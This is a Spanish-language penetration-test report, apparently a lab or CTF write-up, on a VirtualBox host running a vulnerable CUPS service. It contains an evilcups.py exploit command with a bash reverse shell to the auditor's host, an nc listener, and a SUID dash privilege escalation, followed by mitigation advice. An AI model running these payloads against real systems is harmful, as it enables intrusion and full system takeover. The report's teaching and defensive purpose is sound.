

Informe de Pentesting Completo

Auditoría de Seguridad y Escalada de Privilegios en Host Destino

Dirección IP Objetivo:	10.0.0.7
Dirección IP de Auditoría:	10.0.0.4 (Kali Linux)
Metodología Aplicada:	Prueba de Caja Negra (Black Box Pentesting)
Fecha del Ejercicio:	29 de mayo de 2026
Clasificación:	ESTRICTAMENTE CONFIDENCIAL

Índice

1. Introducción	2
2. Metodología	2
3. Fases del Pentesting	2
3.1. Fase de Reconocimiento y Escaneo (Nmap)	2
3.2. Enumeración de Directorios Web (Gobuster)	3
3.3. Explotación (Acceso Inicial vía Evil CUPS)	4
3.4. Post-Explotación y Escalada de Privilegios	4
4. Vulnerabilidades Detectadas	5
5. Captura de Flags (Pruebas de Compromiso)	6
6. Impacto Potencial	6
7. Propuesta de Prevención	7
8. Propuesta de Mitigación	7
9. Conclusión	7

1. Introducción

El presente documento constituye el informe técnico de la auditoría de seguridad y pruebas de penetración (pentesting) realizada sobre la infraestructura identificada con la dirección IP `10.0.0.7`. El objetivo de esta simulación consiste en evaluar la postura de seguridad del activo, identificar debilidades en sus servicios expuestos y analizar la viabilidad de una intrusión mediante vectores conocidos, seguido de una elevación de privilegios dentro del sistema operativo.

A través de un enfoque controlado, se determinó la presencia de servicios vulnerables y desactualizados, lo que permitió el compromiso total del sistema (acceso de nivel `root`). Este informe describe minuciosamente cada fase del ataque, los resultados obtenidos y provee las recomendaciones necesarias para sanear y fortificar el entorno evaluado.

2. Metodología

Para la ejecución de este ejercicio se empleó una metodología estándar de **Prueba de Caja Negra (Black Box)**, simulando las acciones de un atacante externo que no posee conocimiento previo sobre la arquitectura interna del sistema. Las etapas seguidas se alinean con las mejores prácticas del sector informático:

1. **Reconocimiento y Descubrimiento:** Identificación de hosts activos, mapeo de puertos de red y recolección de versiones de los servicios expuestos.
2. **Análisis de Vulnerabilidades:** Correlación de servicios detectados con bases de datos públicas de vulnerabilidades y exposiciones (CVE).
3. **Explotación:** Ejecución coordinada de exploits orientados a vulnerar fallos de diseño o de software en los servicios expuestos para obtener un acceso inicial.
4. **Post-Explotación y Escalada de Privilegios:** Análisis del entorno interno para elevar los privilegios del usuario inicial hasta alcanzar el control máximo del sistema (root).

3. Fases del Pentesting

3.1. Fase de Reconocimiento y Escaneo (Nmap)

Se procedió a lanzar un escaneo exhaustivo utilizando la herramienta `Nmap` sobre la totalidad de los puertos TCP (`-p-`), implementando técnicas de detección de versiones (`-sV`), detección de sistema operativo (`-O`) y escaneo agresivo/scripts predeterminados (`-A`) mediante un escaneo SYN (`-sS`).

Comando ejecutado:

```
sudo nmap -sS -sV -O -A -p- 10.0.0.7
```

Resultado del análisis de red:

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 05:51 -0400
Nmap scan report for 10.0.0.7
Host is up (0.00083s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http     Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
631/tcp   open  ipp      CUPS 2.3
|http-server-header: CUPS/2.3 IPP/2.1
| http-robots.txt: 1 disallowed entry
|/
|_http-title: Inicio - CUPS 2.3.3op2
MAC Address: 08:00:27:75:62:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.83 ms  10.0.0.7

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.06 seconds
```

Análisis de los puertos descubiertos:

- **Puerto 22/TCP (SSH):** Expone un servicio OpenSSH versión 8.4p1 en una distribución Debian Linux. Es un servicio crítico pero estable a nivel exploit.
- **Puerto 80/TCP (HTTP):** Expone un servidor web Apache versión 2.4.56. El sitio no cuenta con un título definido.
- **Puerto 631/TCP (IPP/CUPS):** Se identifica la ejecución del Sistema de Impresión Común de Unix (CUPS), detallando la versión específica **CUPS 2.3.3op2**. Este servicio se convierte en el vector de ataque prioritario debido a vulnerabilidades públicas críticas recientes relativas a la ejecución remota de comandos mediante el protocolo de impresión.

3.2. Enumeración de Directorios Web (Gobuster)

Paralelamente, con el propósito de identificar rutas web o archivos de configuración expuestos en el servidor web del puerto 80, se ejecutó una herramienta de fuerza bruta de directorios empleando un listado estándar.

Comando ejecutado:

```
gobuster dir -u http://10.0.0.7 -w /usr/share/wordlists/dirb/common.txt
```

Resultados obtenidos:

```
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.0.0.7
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
.hta (Status: 403) [Size: 273]
.htpasswd (Status: 403) [Size: 273]
.htaccess (Status: 403) [Size: 273]
index.html (Status: 200) [Size: 187]
server-status (Status: 403) [Size: 273]
Progress: 4613 / 4613 (100.00%)
Finished
```

El escaneo determinó que la raíz contiene un documento index elemental (**Status: 200**) y que los archivos estructurales clásicos de Apache (**.htaccess** , **.htpasswd** , **server-status**) están debidamente protegidos devolviendo un código de estado HTTP 403 (Forbidden), descartando vectores directos de fuga de información por esta vía.

3.3. Explotación (Acceso Inicial vía Evil CUPS)

Al focalizar el análisis en el servicio **CUPS 2.3.3op2** (puerto 631), se identificó que el sistema es vulnerable a un encadenamiento de fallos críticos (relacionados con vulnerabilidades del ecosistema CUPS de ejecución remota de código). Un atacante puede anunciar una impresora falsa en la red y forzar al servicio de la víctima a registrarla de manera automatizada. Al enviarse una petición de impresión, los atributos manipulados inyectan comandos maliciosos que el sistema ejecuta de manera silenciosa.

Para materializar esta intrusión, se utilizó una herramienta automatizada denominada `evilcups.py`, la cual simula el comportamiento de una impresora de red maliciosa, instruyendo al servidor web a ejecutar una consola reversa (reverse shell) en lenguaje Python hacia el host del auditor (`10.0.0.4`) en el puerto seguro `443`.

Configuración del Listener (Kali Linux):

```
nc -lvnp 443
```

Lanzamiento del Exploit:

```
python3 evilcups.py 10.0.0.4 10.0.0.7 'nohup bash -c "bash -i >& /dev/tcp/10.0.0.4/443 0>&1" &'
```

Activación del Trigger: Una vez que el panel web de administración de CUPS de la máquina víctima (`10.0.0.7`) reconoció la nueva impresora publicada automáticamente bajo el nombre de **"HACKED"**, se procedió a enviar un trabajo de impresión de prueba. Al procesar los datos de la impresora falsa, el código fue ejecutado con éxito, otorgando un terminal remoto y estableciendo el acceso inicial al sistema operativo.

3.4. Post-Explotación y Escalada de Privilegios

Al estabilizar la conexión, se determinó que la sesión remota operaba bajo el contexto del usuario de servicio de impresión `lp` (Linux Printing), el cual cuenta con privilegios sumamente limitados dentro del sistema. Se inició una fase de reconocimiento local automatizado.

En primer lugar, se inspeccionaron las cuentas de usuario locales con consolas interactivas válidas (`/bin/bash`) configuradas en el sistema:

```
cat /etc/passwd | grep bash
```

Salida del comando:

```
root:x:0:0:root:/root:/bin/bash
toner:x:1000:1000:toner:/home/toner:/bin/bash
```

Se descubrió la existencia del usuario regular `toner`. Al no disponer de sus credenciales ni permisos de administración directa, se llevó a cabo una búsqueda exhaustiva de ejecutables con el bit de permisos especiales **SUID (Set User ID)** activo. Estos binarios especiales se ejecutan siempre con los privilegios del propietario del archivo (frecuentemente `root`), independientemente del usuario que invoque la acción.

```
find / -perm -4000 2>/dev/null
```

Entre el listado arrojado por el sistema, se detectó una anomalía crítica de configuración: el binario de la consola del sistema `/usr/bin/dash` tenía el bit SUID activo de manera inadecuada.

Dado que `dash` es una shell alternativa, su ejecución nativa con privilegios SUID permite invocarla manteniendo los privilegios del propietario original. Para evitar que la shell descarte automáticamente dichos permisos (mecanismo interno de seguridad de algunas consolas), se utilizó el argumento de persistencia de privilegios `-p`.

```
/usr/bin/dash -p
```

La ejecución de este comando elevó la sesión de manera inmediata al contexto del superusuario administrador (**root**), adquiriendo control total y absoluto sobre el servidor.

4. Vulnerabilidades Detectadas

CRÍTICA | Ejecución Remota de Código (RCE) en Servicio CUPS (Puerto 631)

Descripción: El servicio Common Unix Printing System (CUPS) en su versión 2.3.3op2 adolece de validaciones de confianza incorrectas sobre los atributos de red proporcionados por impresoras IPP remotas. Esto permite a un atacante no autenticado inyectar directivas de comandos de filtrado de impresión maliciosos a través de paquetes UDP/TCP.

Impacto: Permite el compromiso inicial del servidor a distancia sin requerir credenciales válidas, logrando la ejecución de comandos arbitrarios bajo el usuario `lp`.

ALTA | Asignación Incorrecta de Permisos SUID en Binario del Sistema (`/usr/bin/dash`)

Descripción: El binario de la shell del sistema `/usr/bin/dash` posee asignado de forma indebida el bit de permisos SUID (propietario root). Esto representa una severa falla de configuración técnica (Endurecimiento del Sistema Deficiente).

Impacto: Cualquier usuario con acceso local mínimo o de servicio (como `lp`) puede saltarse todas las restricciones de seguridad internas invocando `dash -p`, obteniendo acceso de superusuario `root` instantáneamente.

MEDIA | Exposición de Puertos y Servicios Innecesarios

Descripción: El servidor expone servicios de impresión (CUPS/IPP) directamente hacia la red externa o segmentos generales sin controles perimetrales de filtrado o listas de control de acceso.

Impacto: Amplía sustancialmente la superficie de ataque del host, permitiendo el descubrimiento y explotación remota de vectores de fallas de software.

5. Captura de Flags (Pruebas de Compromiso)

Como evidencia irrefutable del compromiso completo del host `10.0.0.7` en sus diferentes niveles de privilegios, se procedió a la lectura de los archivos de verificación (flags) correspondientes al usuario asignado al reto y al administrador:

Objetivo / Nivel	Ruta en el Sistema	Valor de la Flag (Hash MD5)
Usuario Técnico (Toner)	<code>/home/toner/user.txt</code>	<code>523ac6c4f33201cec8e933042dd37ba6</code>
Administrador Máximo (Root)	<code>/root/root.txt</code>	<code>fe82ce45606fc67448677e4218931a77</code>

6. Impacto Potencial

El impacto derivado de las vulnerabilidades explotadas se cataloga como **Catastrófico / Total** para este activo. Un actor malicioso con el nivel de acceso obtenido habría sido capaz de:

- **Pérdida Absoluta de Confidencialidad:** Acceso irrestricto a ficheros sensibles del sistema, bases de datos, claves de cifrado y posibles credenciales almacenadas de otros servicios.
- **Destrucción o Alteración de Datos (Integridad):** Capacidad para manipular registros de auditoría (logs), alterar configuraciones de servicios web, inyectar malware o código malicioso persistente en el servidor para afectar a los usuarios legítimos (watering hole).
- **Interrupción del Servicio (Disponibilidad):** Modificación completa del entorno operativo, borrado de discos o despliegue de ataques de Ransomware, dejando el servidor completamente inoperativo.
- **Movimiento Lateral (Pivotaje):** Utilizar el host comprometido como una cabeza de puente o proxy interno para escanear, atacar e invadir otros activos de la red interna corporativa que antes no eran accesibles desde el exterior.

7. Propuesta de Prevención

Las medidas preventivas buscan fortalecer la infraestructura antes de la implementación de parches rápidos, promoviendo una cultura de seguridad basada en el principio de menor privilegio:

- **Auditorías de Configuración Periódicas:** Implementar scripts automatizados de revisión en la fase de despliegue para monitorizar cambios no autorizados en los permisos del sistema de archivos, asegurando que ningún binario obtenga propiedades SUID de forma imprevista.
- **Bastionado de Imágenes Base (OS Hardening):** Adoptar guías de endurecimiento internacionalmente reconocidas (como los benchmarks del CIS - Center for Internet Security) para la preparación de servidores Debian en entornos de producción.
- **Principio de Mínimo Privilegio:** Limitar estrictamente las capacidades de las cuentas de servicios esenciales (como `lp`, `www-data`). Estudiar el uso de entornos de aislamiento (containers o sandboxing) para que la vulneración de un proceso no afecte al sistema anfitrión.

8. Propuesta de Mitigación

Para subsanar las fallas explotadas en este reporte de manera inmediata, se deben aplicar los siguientes controles de mitigación técnica:

1. Remediación Crítica del Servicio CUPS:

- Si la funcionalidad de servidor de impresión en red no es estrictamente un requerimiento de negocio para este host, proceda a detener y deshabilitar por completo el servicio:

```
sudo systemctl stop cups && sudo systemctl disable cups.
```
- En caso de requerirse obligatoriamente, actualice el paquete CUPS de inmediato a la última versión disponible provista por Debian que resuelva los fallos de inyección de comandos.
- Bloquee el puerto `631` a nivel de firewall de red (o iptables local) para impedir cualquier conexión entrante que no provenga de una IP estrictamente autorizada.

2. Remediación del Permiso SUID en Dash:

- Retire de inmediato el bit SUID del ejecutable para restablecer sus permisos predeterminados seguros y evitar la elevación local:

```
sudo chmod u-s /usr/bin/dash.
```

9. Conclusión

El host `10.0.0.7` presenta serias deficiencias en su superficie externa y en sus configuraciones de seguridad locales. La combinación de un servicio expuesto desactualizado (CUPS) y la grave presencia del

bit SUID en un intérprete de comandos (Dash) permitieron transitar desde un estado de nulo conocimiento a un control del 100% del sistema en pocos minutos.

Es imperativo aplicar las recomendaciones de mitigación expuestas, en especial la desactivación del servicio de impresión innecesario y la corrección de permisos en los archivos del sistema, con el fin de salvaguardar la confidencialidad operativa de la organización.